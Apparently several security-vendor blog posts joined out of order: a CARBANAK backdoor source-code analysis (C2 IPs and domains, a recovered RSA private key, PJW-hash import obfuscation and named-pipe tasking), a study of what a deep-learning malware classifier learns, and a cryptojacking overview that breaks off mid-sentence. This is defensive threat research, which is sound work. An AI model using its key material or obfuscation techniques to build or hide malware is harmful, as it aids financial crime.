vds9992.hyperhost[.]name
2019-04-27T13:24:36
109.230.199.227:443
2019-04-27T13:24:36
Table 4: Recent Test Company certificate use
While these IPs have not been observed in any CARBANAK activity,
this may be an indication of a common developer or a shared toolkit
used for testing various malware. Several of these IPs have been
observed hosting Cobalt Strike BEACON payloads and METERPRETER
listeners. Virtual Private Server (VPS) IPs may change hands
frequently and additional malicious activity hosted on these IPs, even
in close time proximity, may not be associated with the same users.
I also parsed an unprotected private key from the source code dump.
Figure 4 and Table 5 show the private key parameters at a glance and
in detail, respectively.
Figure 4: Parsed 512-bit private key
Field
Value
bType
7
bVersion
2
aiKeyAlg
0xA400
(CALG_RSA_KEYX) – RSA public key exchange algorithm
Magic
RSA2
Bitlen
512
PubExp
65537
Modulus
0B CA 8A
13 FD 91 E4 72 80 F9 5F EE 38 BC 2E ED
20 5D 54 03 02
AE D6 90 4B 6A 6F AE 7E 06 3E 8C
EA A8 15 46 9F 3E 14
20 86 43 6F 87 BF AE 47 C8
57 F5 1F D0 B7 27 42 0E D1
51 37 65 16 E4 93 CB
P
8B 01 8F 7D 1D
A2 34 AE CA B6 22 EE 41 4A B9 2C
E0 05 FA D0 35 B2 BF
9C E6 7C 6E 65 AC AE 17 EA
Q
81 69 AB 3D D7
01 55 7A F8 EE 3C A2 78 A5 1E B1
9A 3B 83 EC 2F F1 F7
13 D8 1A B3 DE DF 24 A1 DE
Dp
B5 C7 AE 0F
46 E9 02 FB 4E A2 A5 36 7F 2E ED A4
9E 2B 0E 57 F3 DB
11 66 13 5E 01 94 13 34 10 CB
Dq
81 AC 0D 20
14 E9 5C BF 4B 08 54 D3 74 C4 57 EA
C3 9D 66 C9 2E 0A
19 EA C1 A3 78 30 44 52 B2 9F
Iq
C2 D2 55 32
5E 7D 66 4C 8B 7F 02 82 0B 35 45 18
24 76 09 2B 56 71
C6 63 C4 C5 87 AD ED 51 DA 2ª
D
01 6A F3 FA 6A
F7 34 83 75 C6 94 EB 77 F1 C7 BB
7C 68 28 70 4D FB 6A
67 03 AE E2 D8 8B E9 E8 E0
2A 0F FB 39 13 BD 1B 46 6A
D9 98 EA A6 3E 63 A8
2F A3 BD B3 E5 D6 85 98 4D 1C 06
2A AD 76 07 49
Table 5: Private key parameters
I found a value named PUBLIC_KEY defined
in a configuration header, with comments indicating it was for
debugging purposes. The parsed values are shown in Table 6.
Field
Value
bType
6
bVersion
2
aiKeyAlg
0xA400
(CALG_RSA_KEYX) – RSA public key exchange algorithm
Magic
RSA1
Bitlen
512
PubExp
65537
Modulus
0B CA 8A
13 FD 91 E4 72 80 F9 5F EE 38 BC 2E ED
20 5D 54 03 02
AE D6 90 4B 6A 6F AE 7E 06 3E 8C
EA A8 15 46 9F 3E 14
20 86 43 6F 87 BF AE 47 C8
57 F5 1F D0 B7 27 42 0E D1
51 37 65 16 E4 93 CB
Table 6: Key parameters for PUBLIC_KEY defined
in configuration header
Network Based Indicators
The source code and binaries contained multiple Network-Based
Indicators (NBIs) having significant overlap with CARBANAK backdoor
activity and FIN7 operations previously observed and documented by
FireEye. Table 7 shows these indicators along with the associated
FireEye public documentation. This includes the status of each NBI as
it was encountered (active in source code, commented out, or compiled
into a binary). Domain names are de-fanged to prevent accidental
resolution or interaction by browsers, chat clients, etc.
Four of these TCP endpoints (80.84.49[.]50:443, 52.11.125[.]44:443,
85.25.84[.]223, and 37.1.212[.]100:700) were new to me, although some
have been documented elsewhere.
Conclusion
Our analysis of this source code dump confirmed it was CARBANAK and
turned up a few new and interesting data points. We were able to
notify vendors about disclosures that specifically targeted their
security suites. The previously documented NBIs, Windows API function
resolution, backdoor command hash values, usage of Windows cabinet
file APIs, and other artifacts associated with CARBANAK all match, and
as they say, if the shoe fits, wear it. Interestingly though, the
project itself isn’t called CARBANAK or even Anunak as the information
security community has come to call it based on the string artifacts
found within the malware. The authors mainly refer to the malware as
“bot” in the Visual Studio project, filenames, source code comments,
output binaries, user interfaces, and manuals.
The breadth and depth of this analysis was a departure from the
usual requests we receive on the FLARE team. The journey included
learning some Russian, searching through a hundred thousand of lines
of code for new information, and analyzing a few dozen binaries. In
the end, I’m thankful I had the opportunity to take this request.
It is very unusual for FLARE to analyze a prolifically-used,
privately-developed backdoor only to later have the source code and
operator tools fall into our laps. Yet this is the extraordinary
circumstance that sets the stage for CARBANAK Week, a four-part blog
series that commences with this post.
CARBANAK is one of the most full-featured backdoors around. It was
used to perpetrate millions of dollars in financial crimes, largely by
the group we track as FIN7. In
2017, Tom Bennett and Barry Vengerik published Behind
the CARBANAK Backdoor, which was the product of a deep and broad
analysis of CARBANAK samples and FIN7 activity across several years.
On the heels of that publication, our colleague Nick Carr uncovered a
pair of RAR archives containing CARBANAK source code, builders, and
other tools (both available in VirusTotal: kb3r1p
and apwmie).
FLARE malware analysis requests are typically limited to a few dozen
files at most. But the CARBANAK source code was 20MB comprising 755
files, with 39 binaries and 100,000 lines of code. Our goal was to
find threat intelligence we missed in our previous analyses. How does
an analyst respond to a request with such breadth and open-ended
scope? And what did we find?
My friend Tom Bennett and I spoke about this briefly in our 2018
FireEye Cyber Defense Summit talk, Hello,
Carbanak! In this blog series, we will expound at length and share
a written retrospective on the inferences drawn in our previous public
analysis based on binary code reverse engineering. In this first part,
I’ll discuss Russian language concerns, translated graphical user
interfaces of CARBANAK tools, and anti-analysis tactics as seen from a
source code perspective. We will also explain an interesting twist
where analyzing the source code surprisingly proved to be just as
difficult as analyzing the binary, if not more. There’s a lot here;
buckle up!
File Encoding and Language Considerations
The objective of this analysis was to discover threat intelligence
gaps and better protect our customers. To begin, I wanted to assemble
a cross-reference of source code files and concepts of specific interest.
Reading the source code entailed two steps: displaying the files in
the correct encoding, and learning enough Russian to be dangerous.
Figure 1 shows CARBANAK source code in a text editor that is unaware
of the correct encoding.
Figure 1: File without proper decoding
Two good file encoding guesses are UTF-8 and code page 1251
(Cyrillic). The files were mostly code page 1251 as shown in Figure 2.
Figure 2: Code Page 1251 (Cyrillic)
source code
Figure 2 is a C++ header file defining error values involved in
backdoor command execution. Most identifiers were in English, but some
were not particularly descriptive. Ergo, the second and more difficult
step was learning some Russian to benefit from the context offered by
the source code comments.
FLARE has fluent Russian speakers, but I took it upon myself to
minimize my use of other analysts’ time. To this end, I wrote a script
to tear through files and create a prioritized vocabulary list. The
script, which is available in the FireEye
vocab_scraper GitHub repository, walks source directories
finding all character sequences outside the printable lower ASCII
range: decimal values 32 (the space character) through 126 (the tilde
character “~”) inclusive. The script adds each word to a Python defaultdict_ and increments its count. Finally,
the script orders this dictionary by frequency of occurrence and dumps
it to a file.
The result was a 3,400+ word vocabulary list, partially shown in
Figure 3.
Figure 3: Top 19 Cyrillic character
sequences from the CARBANAK source code
I spent several hours on Russian language learning websites to study
the pronunciation of Cyrillic characters and Russian words. Then, I
looked up the top 600+ words and created a small dictionary. I added
Russian language input to an analysis VM and used Microsoft’s
on-screen keyboard (osk.exe) to navigate the
Cyrillic keyboard layout and look up definitions.
One helpful effect of learning to pronounce Cyrillic characters was
my newfound recognition of English loan words (words that are borrowed
from English and transliterated to Cyrillic). My small vocabulary
allowed me to read many comments without looking anything up. Table 1
shows a short sampling of some of the English loan words I encountered.
Cyrillic
English Phonetic
English
Occurrences
Rank
Файл
f ah y
L
file
224
5
сервер
s e r v e
r
server
145
13
адрес
a d r e
s
address
52
134
команд
k o m a n
d
command
110+
27
бота
b o t a
bot
130
32
плагин
p l ah g
ee n
plugin
116
39
сервис
s e r v
ee s
service
70
46
процесс
p r o ts
e s s
process
130ish
63
Table 1: Sampling of English loan words in the
CARBANAK source code
Aside from source code comments, understanding how to read and type
in Cyrillic came in handy for translating the CARBANAK graphical user
interfaces I found in the source code dump. Figure 4 shows a Command
and Control (C2) user interface for CARBANAK that I translated.
Figure 4: Translated C2 graphical user interface
These user interfaces included video management and playback
applications as shown in Figure 5 and Figure 6 respectively. Tom will
share some interesting work he did with these in a subsequent part of
this blog series.
Figure 5: Translated video management
application user interface
Figure 6: Translated video playback
application user interface
Figure 7 shows the backdoor builder that was contained within the
RAR archive of operator tools.
Figure 7: Translated backdoor builder
application user interface
The operator RAR archive also contained an operator’s manual
explaining the semantics of all the backdoor commands. Figure 8 shows
the first few commands in this manual, both in Russian and English (translated).
Figure 8: Operator manual (left: original
Russian; right: translated to English)
Down the Rabbit Hole: When Having Source Code Does Not Help
In simpler backdoors, a single function evaluates the command ID
received from the C2 server and dispatches control to the correct
function to carry out the command. For example, a backdoor might ask
its C2 server for a command and receive a response bearing the command
ID 0x67. The dispatch function in the
backdoor will check the command ID against several different values,
including 0x67, which as an example might
call a function to shovel a reverse shell to the C2 server. Figure 9
shows a control flow graph of such a function as viewed in IDA Pro.
Each block of code checks against a command ID and either passes
control to the appropriate command handling code, or moves on to check
for the next command ID.
Figure 9: A control flow graph of a
simple command handling function
In this regard, CARBANAK is an entirely different beast. It utilizes
a Windows mechanism called named
pipes as a means of communication and coordination across all the
threads, processes, and plugins under the backdoor’s control. When the
CARBANAK tasking component receives a command, it forwards the command
over a named pipe where it travels through several different functions
that process the message, possibly writing it to one or more
additional named pipes, until it arrives at its destination where the
specified command is finally handled. Command handlers may even
specify their own named pipe to request more data from the C2 server.
When the C2 server returns the data, CARBANAK writes the result to
this auxiliary named pipe and a callback function is triggered to
handle the response data asynchronously. CARBANAK’s named pipe-based
tasking component is flexible enough to control both inherent command
handlers and plugins. It also allows for the possibility of a local
client to dispatch commands to CARBANAK without the use of a network.
In fact, not only did we write such a client to aid in analysis and
testing, but such a client, named botcmd.exe, was also present in the source dump.
Tom’s Perspective
Analyzing this command-handling mechanism within CARBANAK from a
binary perspective was certainly challenging. It required maintaining
tabs for many different views into the disassembly, and a sort of
textual map of command ids and named pipe names to describe the
journey of an inbound command through the various pipes and functions
before arriving at its destination. Figure 10 shows the control flow
graphs for seven of the named pipe message handling functions. While
it was difficult to analyze this from a binary reverse engineering
perspective, having compiled code combined with the features that a
good disassembler such as IDA Pro provides made it less harrowing than
Mike’s experience. The binary perspective saved me from having to
search across several source files and deal with ambiguous function
names. The disassembler features allowed me to easily follow
cross-references for functions and global variables and to open
multiple, related views into the code.
Figure 10: Control flow graphs for the
named pipe message handling functions
Mike’s Perspective
Having source code sounds like cheat-mode for malware analysis.
Indeed, source code contains much information that is lost through the
compilation and linking process. Even so, CARBANAK’s tasking component
(for handling commands sent by the C2 server) serves as a
counter-example. Depending on the C2 protocol used and the command
being processed, control flow may take divergent paths through
different functions only to converge again later and accomplish the
same command. Analysis required bouncing around between almost 20
functions in 5 files, often backtracking to recover information about
function pointers and parameters that were passed in from as many as
18 layers back. Analysis also entailed resolving matters of C++ class
inheritance, scope ambiguity, overloaded functions, and control flow
termination upon named pipe usage. The overall effect was that this
was difficult to analyze, even in source code.
I only embarked on this top-to-bottom journey once, to search for
any surprises. The effort gave me an appreciation for the baroque
machinery the authors constructed either for the sake of obfuscation
or flexibility. I felt like this was done at least in part to obscure
relationships and hinder timely analysis.
Anti-Analysis Mechanisms in Source Code
CARBANAK’s executable code is filled with logic that pushes
hexadecimal numbers to the same function, followed by an indirect call
against the returned value. This is easily recognizable as obfuscated
function import resolution, wherein CARBANAK uses a simple string hash
known as PJW (named after its author, P.J. Weinberger) to locate
Windows API functions without disclosing their names. A Python
implementation of the PJW hash is shown in Figure 11 for reference.
def pjw_hash(s): ctr = 0
for i in range(len(s)): ctr = 0xffffffff
& ((ctr << 4) + ord(s[i])) if ctr
& 0xf0000000: ctr = (((ctr &
0xf0000000) >> 24) ^ ctr) & 0x0fffffff
return ctr
Figure 11: PJW hash
This is used several hundred times in CARBANAK samples and impedes
understanding of the malware’s functionality. Fortunately, reversers
can use the flare-ida
scripts to annotate the obfuscated imports, as shown in Figure 12.
The CARBANAK authors achieved this obfuscated import resolution
throughout their backdoor with relative ease using C preprocessor
macros and a pre-compilation source code scanning step to calculate
function hashes. Figure 13 shows the definition of the relevant API macro and associated machinery.
Figure 13: API macro for import resolution
The API macro allows the author to type
API(SHLWAPI, PathFindFileNameA)(…) and
have it replaced with GetApiAddrFunc(SHLWAPI,
hashPathFindFileNameA)(…). SHLWAPI is
a symbolic macro defined to be the constant 3, and hashPathFindFileNameA is the string hash value
0xE3685D1 as observed in the disassembly.
But how was the hash defined?
The CARBANAK source code has a utility (unimaginatively named tool) that scans source code for invocations of
the API macro to build a header file
defining string hashes for all the Windows API function names
encountered in the entire codebase. Figure 14 shows the source code
for this utility along with its output file, api_funcs_hash.h.
Figure 14: Source code and output from
string hash utility
When I reverse engineer obfuscated malware, I can’t help but try to
theorize about how authors implement their obfuscations. The CARBANAK
source code gives another data point into how malware authors wield
the powerful C preprocessor along with custom code scanning and code
generation tools to obfuscate without imposing an undue burden on
developers. This might provide future perspective in terms of what to
expect from malware authors in the future and may help identify units
of potential code reuse in future projects as well as rate their
significance. It would be trivial to apply this to new projects, but
with the source code being on VirusTotal, this level of code sharing
may not represent shared authorship. Also, the source code is
accessibly instructive in why malware would push an integer as well as
a hash to resolve functions: because the integer is an index into an
array of module handles that are opened in advance and associated with
these pre-defined integers.
Conclusion
The CARBANAK source code is illustrative of how these malware
authors addressed some of the practical concerns of obfuscation. Both
the tasking code and the Windows API resolution system represent
significant investments in throwing malware analysts off the scent of
this backdoor. Check out Part
Two of this series for a round-up of antivirus evasions,
exploits, secrets, key material, authorship artifacts, and
network-based indicators. Part
Three and Part
Four are available now as well!
An increasing number of modern antivirus solutions rely on machine
learning (ML) techniques to protect users from malware. While ML-based
approaches, like FireEye Endpoint Security’s MalwareGuard
capability, have done a great job at detecting new threats, they also
come with substantial development costs. Creating and curating a large
set of useful features takes significant amounts of time and expertise
from malware analysts and data scientists (note that in this context a
feature refers to a property or characteristic of the
executable that can be used to distinguish between goodware and
malware). In recent years, however, deep learning approaches have
shown impressive results in automatically learning feature
representations for complex problem domains, like images, speech, and
text. Can we take advantage of these advances in deep learning to
automatically learn how to detect malware without costly feature engineering?
As it turns out, deep learning architectures, and in particular convolutional
neural networks (CNNs), can do a good job of detecting
malware simply by looking at the raw bytes of Windows
Portable Executable (PE) files. Over the last two years, FireEye
has been experimenting with deep learning architectures for malware
classification, as well as methods to evade them.
Our experiments have demonstrated surprising levels of accuracy that
are competitive with traditional ML-based solutions, while avoiding
the costs of manual feature engineering. Since the initial presentation
of our findings, other researchers have published similarly impressiveresults, with
accuracy upwards of 96%.
Since these deep learning models are only looking at the raw bytes
without any additional structural, semantic, or syntactic context,
how can they possibly be learning what separates goodware from
malware? In this blog post, we answer this question by analyzing
FireEye’s deep learning-based malware classifier.
Highlights
FireEye’s deep
learning classifier can successfully identify malware using
only the unstructured bytes of the Windows PE file.
Import-based features, like names and function call
fingerprints, play a significant role in the features
learned across all levels of the classifier.
Unlike
other deep learning application areas, where low-level
features tend to generally capture properties across all
classes, many of our low-level features focused on very
specific sequences primarily found in malware.
End-to-end analysis of the classifier identified
important features that closely mirror those created through
manual feature engineering, which demonstrates the
importance of classifier depth in capturing meaningful
features.
Background
Before we dive into our analysis, let’s first discuss what a CNN
classifier is doing with Windows PE file bytes. Figure 1 shows the
high-level operations performed by the classifier while “learning”
from the raw executable data. We start with the raw byte
representation of the executable, absent any structure that might
exist (1). This raw byte sequence is embedded into a
high-dimensional space where each byte is replaced with an
n-dimensional vector of values (2). This embedding step allows the CNN
to learn relationships among the discrete bytes by moving them within
the n-dimensional embedding space. For example, if the bytes
0xe0 and 0xe2 are used interchangeably, then the CNN can move those
two bytes closer together in the embedding space so that the cost of
replacing one with the other is small. Next, we perform
convolutions over the embedded byte sequence (3). As we do this
across our entire training set, our convolutional filters begin
to learn the characteristics of certain sequences that differentiate
goodware from malware (4). In simpler terms, we slide a fixed-length
window across the embedded byte sequence and the convolutional filters
learn the important features from across those windows. Once we have
scanned the entire sequence, we can then pool the convolutional
activations to select the best features from each section of the
sequence (i.e., those that maximally activated the filters) to pass
along to the next level (5). In practice, the convolution and pooling
operations are used repeatedly in a hierarchical fashion to aggregate
many low-level features into a smaller number of high-level features
that are more useful for classification. Finally, we use the
aggregated features from our pooling as input to a fully-connected
neural network, which classifies the PE file sample as either
goodware or malware (6).
Figure 1: High-level overview of a
convolutional neural network applied to raw bytes from a Windows PE files.
The specific deep learning architecture that we analyze here
actually has five convolutional and max pooling layers arranged in a
hierarchical fashion, which allows it to learn complex features by
combining those discovered at lower levels of the hierarchy. To
efficiently train such a deep neural network, we must restrict our
input sequences to a fixed length – truncating any bytes beyond this
length or using special padding symbols to fill out smaller files. For
this analysis, we chose an input length of 100KB, though we have
experimented with lengths upwards of 1MB. We trained our CNN model on
more than 15 million Windows PE files, 80% of which were goodware and
the remainder malware. When evaluated against a test set of nearly 9
million PE files observed in the wild from June to August 2018, the
classifier achieves an accuracy of 95.1% and an F1 score of 0.96,
which are on the higher end of scores reported by previous work.
In order to figure out what this classifier has learned about
malware, we will examine each component of the architecture in turn.
At each step, we use either a sample of 4,000 PE files taken from our
training data to examine broad trends, or a smaller set of six
artifacts from the NotPetya,
WannaCry,
and BadRabbit
ransomware families to examine specific features.
Bytes in (Embedding) Space
The embedding space can encode interesting relationships that the
classifier has learned about the individual bytes and determine
whether certain bytes are treated differently than others because of
their implied importance to the classifier’s decision. To tease out
these relationships, we will use two tools: (1) a dimensionality
reduction technique called multi-dimensional
scaling (MDS) and (2) a density-based clustering method called
HDBSCAN.
The dimensionality reduction technique allows us to move from the
high-dimensional embedding space to an approximation in
two-dimensional space that we can easily visualize, while still
retaining the overall structure and organization of the points.
Meanwhile, the clustering technique allows us to identify dense groups
of points, as well as outliers that have no nearby points. The
underlying intuition being that outliers are treated as “special” by
the model since there are no other points that can easily replace them
without a significant change in upstream calculations, while dense
clusters of points can be used interchangeably.
Figure 2: Visualization of the byte
embedding space using multi-dimensional scaling (MDS) and clustered
with hierarchical density-based clustering (HDBSCAN) with clusters
(Left) and outliers labeled (Right).
On the left side of Figure 2, we show the two-dimensional
representation of our byte embedding space with each of the clusters
labeled, along with an outlier cluster labeled as -1. As you can see,
the vast majority of bytes fall into one large catch-all class
(Cluster 3), while the remaining three clusters have just two bytes
each. Though there are no obvious semantic relationships in these
clusters, the bytes that were included are interesting in their own
right – for instance, Cluster 0 includes our special padding byte that
is only used when files are smaller than the fixed-length cutoff, and
Cluster 1 includes the ASCII character ‘r.’
What is more fascinating, however, is the set of outliers that the
clustering produced, which are shown in the right side of Figure 3.
Here, there are a number of intriguing trends that start to appear.
For one, each of the bytes in the range 0x0 to 0x6 are present, and
these bytes are often used in short forward jumps or when registers
are used as instruction arguments (e.g., eax, ebx, etc.).
Interestingly, 0x7 and 0x8 are grouped together in Cluster 2, which
may indicate that they are used interchangeably in our training data
even though 0x7 could also be interpreted as a register argument.
Another clear trend is the presence of several ASCII characters in the
set of outliers, including ‘\n’, ‘A’, ‘e’, ‘s’, and ‘t.’ Finally, we
see several opcodes present, including the call instruction (0xe8),
loop and loopne (0xe0, 0xe2), and a breakpoint instruction (0xcc).
Given these findings, we immediately get a sense of what the
classifier might be looking for in low-level features: ASCII text and
usage of specific types of instructions.
Deciphering Low-Level Features
The next step in our analysis is to examine the low-level features
learned by the first layer of convolutional filters. In our
architecture, we used 96 convolutional filters at this layer, each of
which learns basic building-block features that will be combined
across the succeeding layers to derive useful high-level features.
When one of these filters sees a byte pattern that it has learned in
the current convolution, it will produce a large activation value
and we can use that value as a method for identifying the most
interesting bytes for each filter. Of course, since we are examining
the raw byte sequences, this will merely tell us which file offsets to
look at, and we still need to bridge the gap between the raw byte
interpretation of the data and something that a human can understand.
To do so, we parse the file using PEFile and apply BinaryNinja’s disassembler to
executable sections to make it easier to identify common patterns
among the learned features for each filter.
Since there are a large number of filters to examine, we can narrow
our search by getting a broad sense of which filters have the
strongest activations across our sample of 4,000 Windows PE files and
where in those files those activations occur. In Figure 3, we show the
locations of the 100 strongest activations across our 4,000-sample
dataset. This shows a couple of interesting trends, some of which
could be expected and others that are perhaps more surprising. For
one, the majority of the activations at this level in our architecture
occur in the ‘.text’ section, which typically contains executable
code. When we compare the ‘.text’ section activations between malware
and goodware subsets, there are significantly more activations for the
malware set, meaning that even at this low level there appear to be
certain filters that have keyed in on specific byte sequences
primarily found in malware. Additionally, we see that the ‘UNKNOWN’
section– basically, any activation that occurs outside the valid
bounds of the PE file – has many more activations in the malware group
than in goodware. This makes some intuitive sense since many
obfuscation and evasion techniques rely on placing data in
non-standard locations (e.g., embedding PE files within one another).
Figure 3: Distribution of low-level
activation locations across PE file headers and sections. Overall
distribution of activations (Left), and activations for
goodware/malware subsets (Right). UNKNOWN indicates an area outside
the valid bounds of the file and NULL indicates an empty section name.
We can also examine the activation trends among the convolutional
filters by plotting the top-100 activations for each filter across our
4,000 PE files, as shown in Figure 4. Here, we validate our intuition
that some of these filters are overwhelmingly associated with features
found in our malware samples. In this case, the activations for Filter
57 occur almost exclusively in the malware set, so that will be an
important filter to look at later in our analysis. The other main
takeaway from the distribution of filter activations is that the
distribution is quite skewed, with only two filters handling the
majority of activations at this level in our architecture. In fact,
some filters are not activated at all on the set of 4,000 files we are analyzing.
Figure 4: Distribution of activations
over each of the 96 low-level convolutional filters. Overall
distribution of activations (Left), and activations for
goodware/malware subsets (Right).
Now that we have identified the most interesting and active filters,
we can disassemble the areas surrounding their activation locations
and see if we can tease out some trends. In particular, we are going
to look at Filters 83 and 57, both of which were important filters in
our model based on activation value. The disassembly results for these
filters across several of our ransomware artifacts is shown in Figure 5.
For Filter 83, the trend in activations becomes pretty clear when we
look at the ASCII encoding of the bytes, which shows that the filter
has learned to detect certain types of imports. If we look closer at
the activations (denoted with a ‘*’), these always seem to include
characters like ‘r’, ‘s’, ‘t’, and ‘e’, all of which were identified
as outliers or found in their own unique clusters during our embedding
analysis. When we look at the disassembly of Filter 57’s activations,
we see another clear pattern, where the filter activates on sequences
containing multiple push instructions and a call instruction –
essentially, identifying function calls with multiple parameters.
In some ways, we can look at Filters 83 and 57 as detecting two
sides of the same overarching behavior, with Filter 83 detecting the
imports and 57 detecting the potential use of those imports (i.e., by
fingerprinting the number of parameters and usage). Due to the
independent nature of convolutional filters, the relationships between
the imports and their usage (e.g., which imports were used where) is
lost, and that the classifier treats these as two completely
independent features.
Figure 5: Example disassembly of
activations for filters 83 (Left) and 57 (Right) from ransomware
samples. Lines prepended with '*' contain the actual filter
activations, others are provided for context.
Aside from the import-related features described above, our analysis
also identified some filters that keyed in on particular byte
sequences found in functions containing exploit code, such as
DoublePulsar or EternalBlue. For instance, Filter 94 activated on
portions of the EternalRomance exploit code from the BadRabbit
artifact we analyzed. Note that these low-level filters did not
necessarily detect the specific exploit activity, but instead activate
on byte sequences within the surrounding code in the same function.
These results indicate that the classifier has learned some very
specific byte sequences related to ASCII text and instruction usage
that relate to imports, function calls, and artifacts found within
exploit code. This finding is surprising because in other machine
learning domains, such as images, low-level filters often learn
generic, reusable features across all classes.
Bird’s Eye View of End-to-End Features
While it seems that lower layers of our CNN classifier have learned
particular byte sequences, the larger question is: does the depth and
complexity of our classifier (i.e., the number of layers) help us
extract more meaningful features as we move up the hierarchy? To
answer this question, we have to examine the end-to-end relationships
between the classifier’s decision and each of the input bytes. This
allows us to directly evaluate each byte (or segment thereof) in the
input sequence and see whether it pushed the classifier toward a
decision of malware or goodware, and by how much. To accomplish this
type of end-to-end analysis, we leverage the SHapley
Additive exPlanations (SHAP) framework developed by Lundberg and
Lee. In particular, we use the GradientSHAP method that
combines a number of techniques to precisely identify the
contributions of each input byte, with positive SHAP values indicating
areas that can be considered to be malicious features and negative
values for benign features.
After applying the GradientSHAP method to our ransomware dataset, we
noticed that many of the most important end-to-end features were not
directly related to the types of specific byte sequences that we
discovered at lower layers of the classifier. Instead, many of the
end-to-end features that we discovered mapped closely to features
developed from manual feature engineering in our traditional ML
models. As an example, the end-to-end analysis on our ransomware
samples identified several malicious features in the checksum portion
of the PE header, which is commonly used as a feature in traditional
ML models. Other notable end-to-end features included the presence or
absence of certain directory information related to certificates used
to sign the PE files, anomalies in the section table that define the
properties of the various sections of the PE file, and specific
imports that are often used by malware (e.g., GetProcAddress and VirtualAlloc).
In Figure 6, we show the distribution of SHAP values across the file
offsets for the worm artifact of the WannaCry ransomware family. Many
of the most important malicious features found in this sample are
focused in the PE header structures, including previously mentioned
checksum and directory-related features. One particularly interesting
observation from this sample, though, is that it contains another PE
file embedded within it, and the CNN discovered two end-to-end
features related to this. First, it identified an area of the section
table that indicated the ‘.data’ section had a virtual size that was
more than 10x larger than the stated physical size of the section.
Second, it discovered maliciously-oriented imports and exports within
the embedded PE file itself. Taken as a whole, these results show that
the depth of our classifier appears to have helped it learn more
abstract features and generalize beyond the specific byte sequences we
observed in the activations at lower layers.
Figure 6: SHAP values for file offsets
from the worm artifact of WannaCry. File offsets with positive
values are associated with malicious end-to-end features, while
offsets with negative values are associated with benign features.
Summary
In this blog post, we dove into the inner workings of FireEye’s
byte-based deep learning classifier in order to understand what it,
and other deep learning classifiers like it, are learning about
malware from its unstructured raw bytes. Through our analysis, we have
gained insight into a number of important aspects of the classifier’s
operation, weaknesses, and strengths:
Import Features: Import-related features play a large role in
classifying malware across all levels of the CNN architecture. We
found evidence of ASCII-based import features in the embedding
layer, low-level convolutional features, and end-to-end
features.
Low-Level Instruction Features: Several features discovered
at the lower layers of our CNN classifier focused on sequences of
instructions that capture specific behaviors, such as particular
types of function calls or code surrounding certain types of
exploits. In many cases, these features were primarily associated
with malware, which runs counter to the typical use of CNNs in other
domains, such as image classification, where low-level features
capture generic aspects of the data (e.g., lines and simple shapes).
Additionally, many of these low-level features did not appear in the
most malicious end-to-end features.
End-to-End Features: Perhaps the most interesting result of
our analysis is that many of the most important maliciously-oriented
end-to-end features closely map to common manually-derived features
from traditional ML classifiers. Features like the presence or
absence of certificates, obviously mangled checksums, and
inconsistencies in the section table do not have clear analogs to
the lower-level features we uncovered. Instead, it appears that the
depth and complexity of our CNN classifier plays a key role in
generalizing from specific byte sequences to meaningful and
intuitive features.
It is clear that deep learning offers a promising path toward
sustainable, cutting-edge malware classification. At the same time,
significant improvements will be necessary to create a viable
real-world solution that addresses the shortcomings discussed in this
article. The most important next step will be improving the
architecture to include more information about the structural,
semantic, and syntactic context of the executable rather than treating
it as an unstructured byte sequence. By adding this specialized domain
knowledge directly into the deep learning architecture, we allow the
classifier to focus on learning relevant features for each context,
inferring relationships that would not be possible otherwise, and
creating even more robust end-to-end features with better
generalization properties.
Cyber criminals tend to favor cryptocurrencies because they provide
a certain level of anonymity and can be easily monetized. This interest
has increased in recent years, stemming far beyond the desire to
simply use cryptocurrencies as a method of payment for illicit tools
and services. Many actors have also attempted to capitalize on the
growing popularity of cryptocurrencies, and subsequent rising price,
by conducting various operations aimed at them. These operations
include malicious cryptocurrency mining (also referred to as
cryptojacking), the collection of cryptocurrency wallet credentials,
extortion activity, and the targeting of cryptocurrency exchanges.
This blog post discusses the various trends that we have been
observing related to cryptojacking activity, including cryptojacking
modules being added to popular malware families, an increase in
drive-by cryptomining attacks, the use of mobile apps containing
cryptojacking code, cryptojacking as a threat to critical
infrastructure, and observed distribution mechanisms.
What Is Mining?
As transactions occur on a blockchain, those transactions must be
validated and propagated across the network. As computers connected to
the blockchain network (aka nodes) validate and propagate the
transactions across the network, the miners include those transactions
into "blocks" so that they can be added onto the chain. Each
block is cryptographically hashed, and must include the hash of the
previous block, thus forming the "chain" in blockchain. In
order for miners to compute the complex hashing of each valid block,
they must use a machine's computational resources. The more blocks
that are mined, the more resource-intensive solving the hash becomes.
To overcome this, and accelerate the mining process, many miners will
join collections of computers called "pools" that work
together to calculate the block hashes. The more computational
resources a pool harnesses, the greater the pool's chance of mining a
new block. When a new block is mined, the pool's participants are
rewarded with coins. Figure 1 illustrates the roles miners play in the
blockchain network.
Figure 1: The role of miners
Underground Interest
FireEye iSIGHT Intelligence has identified eCrime actor interest in
cryptocurrency mining-related topics dating back to at least 2009
within underground communities. Keywords that yielded significant
volumes include miner, cryptonight, stratum, xmrig, and cpuminer.
While searches for certain keywords fail to provide context, the
frequency of these cryptocurrency mining-related keywords shows a
sharp increase in conversations beginning in 2017 (Figure 2). It is
probable that at least a subset of actors prefer cryptojacking over
other types of financially motivated operations due to the perception
that it does not attract as much attention from law enforcement.
Figure 2: Underground keyword mentions
Monero Is King
The majority of recent cryptojacking operations have overwhelmingly
focused on mining Monero, an open-source cryptocurrency based on the
CryptoNote protocol, as a fork of Bytecoin. Unlike many
cryptocurrencies, Monero uses a unique technology called "ring
signatures," which shuffles users' public keys to eliminate the
possibility of identifying a particular user, ensuring it is
untraceable. Monero also employs a protocol that generates multiple,
unique single-use addresses that can only be associated with the
payment recipient and are unfeasible to be revealed through blockchain
analysis, ensuring that Monero transactions are unable to be linked
while also being cryptographically secure.
The Monero blockchain also uses what's called a
"memory-hard" hashing algorithm called CryptoNight and,
unlike Bitcoin's SHA-256 algorithm, it deters application-specific
integrated circuit (ASIC) chip mining. This feature is critical to the
Monero developers and allows for CPU mining to remain feasible and
profitable. Due to these inherent privacy-focused features and
CPU-mining profitability, Monero has become an attractive option for
cyber criminals.
Underground Advertisements for Miners
Because most miner utilities are small, open-sourced tools, many
criminals rely on crypters. Crypters are tools that employ encryption,
obfuscation, and code manipulation techniques to keep their tools and
malware fully undetectable (FUD). Table 1 highlights some of the most
commonly repurposed Monero miner utilities.
XMR Mining Utilities
XMR-STACK
MINERGATE
XMRMINER
CCMINER
XMRIG
CLAYMORE
SGMINER
CAST XMR
LUKMINER
CPUMINER-MULTI
Table 1: Commonly used Monero miner utilities
The following are sample advertisements for miner utilities commonly
observed in underground forums and markets. Advertisements typically
range from stand-alone miner utilities to those bundled with other
functions, such as credential harvesters, remote administration tool
(RAT) behavior, USB spreaders, and distributed denial-of-service
